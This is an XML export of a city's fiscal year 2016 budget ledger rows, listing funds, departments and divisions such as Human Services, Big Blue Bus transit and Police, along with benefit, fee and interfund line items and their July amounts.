<row _id="19694"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1809</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1809</total></row>
<row _id="19695"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>213</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>213</total></row>
<row _id="19696"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>321662</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>321662</total></row>
<row _id="19697"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1086</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1086</total></row>
<row _id="19698"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1414</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1414</total></row>
<row _id="19699"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2005</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2005</total></row>
<row _id="19700"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12176</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12176</total></row>
<row _id="19701"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>738</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>738</total></row>
<row _id="19702"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>WELLNESS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19703"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>88967</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>88967</total></row>
<row _id="19704"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3354</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3354</total></row>
<row _id="19705"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>844</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>844</total></row>
<row _id="19706"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>121201</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>121201</total></row>
<row _id="19707"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>20414</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20414</total></row>
<row _id="19708"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511711.0</object><object_description>MEDICARE-POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>95774</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>95774</total></row>
<row _id="19709"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>11479</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11479</total></row>
<row _id="19710"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>39099</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>39099</total></row>
<row _id="19711"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>57881</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>57881</total></row>
<row _id="19712"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>38998</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>38998</total></row>
<row _id="19713"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401000.0</object><object_description>SWIM CENTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19714"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401009.0</object><object_description>SWIM CENTER-AQUATIC SUPPLIES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-10700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-10700</total></row>
<row _id="19715"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-POLICE OSE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-1416180</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1416180</total></row>
<row _id="19716"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8710</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8710</total></row>
<row _id="19717"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2359</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2359</total></row>
<row _id="19718"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>50260</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>50260</total></row>
<row _id="19719"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>403820.0</object><object_description>SUMMER FOOD SERVICE PROGRAM</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19720"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577960.0</object><object_description>ARTS TRANSFER</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-160000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-160000</total></row>
<row _id="19721"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>408000.0</object><object_description>INTERFUND SERVICES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-175529</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-175529</total></row>
<row _id="19722"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>400701.0</object><object_description>PARKING CITATION REFUNDS</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19723"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>526597</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>526597</total></row>
<row _id="19724"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7704</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7704</total></row>
<row _id="19725"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>522311.0</object><object_description>DISCOUNTS AVAILABLE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19726"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522850.0</object><object_description>SPECIAL PROJECTS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>269974</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>269974</total></row>
<row _id="19727"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401001.0</object><object_description>SWIM CENTER-GROUP LESSONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-175700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-175700</total></row>
<row _id="19728"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401008.0</object><object_description>SWIM CENTER-WINTER PASSES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19729"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>52521</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>52521</total></row>
<row _id="19730"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>228015</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>228015</total></row>
<row _id="19731"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>144</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>144</total></row>
<row _id="19732"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3282</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3282</total></row>
<row _id="19733"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>543</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>543</total></row>
<row _id="19734"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2666</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2666</total></row>
<row _id="19735"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>448</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>448</total></row>
<row _id="19736"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511970.0</object><object_description>OTHER FRINGE BENEFITS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19737"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>216</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>216</total></row>
<row _id="19738"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>788192</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>788192</total></row>
<row _id="19739"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>530297</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>530297</total></row>
<row _id="19740"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>400320.0</object><object_description>MILES PLAYHOUSE PROD FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-17500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-17500</total></row>
<row _id="19741"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-PKG OPS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-2270305</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2270305</total></row>
<row _id="19742"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4910</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4910</total></row>
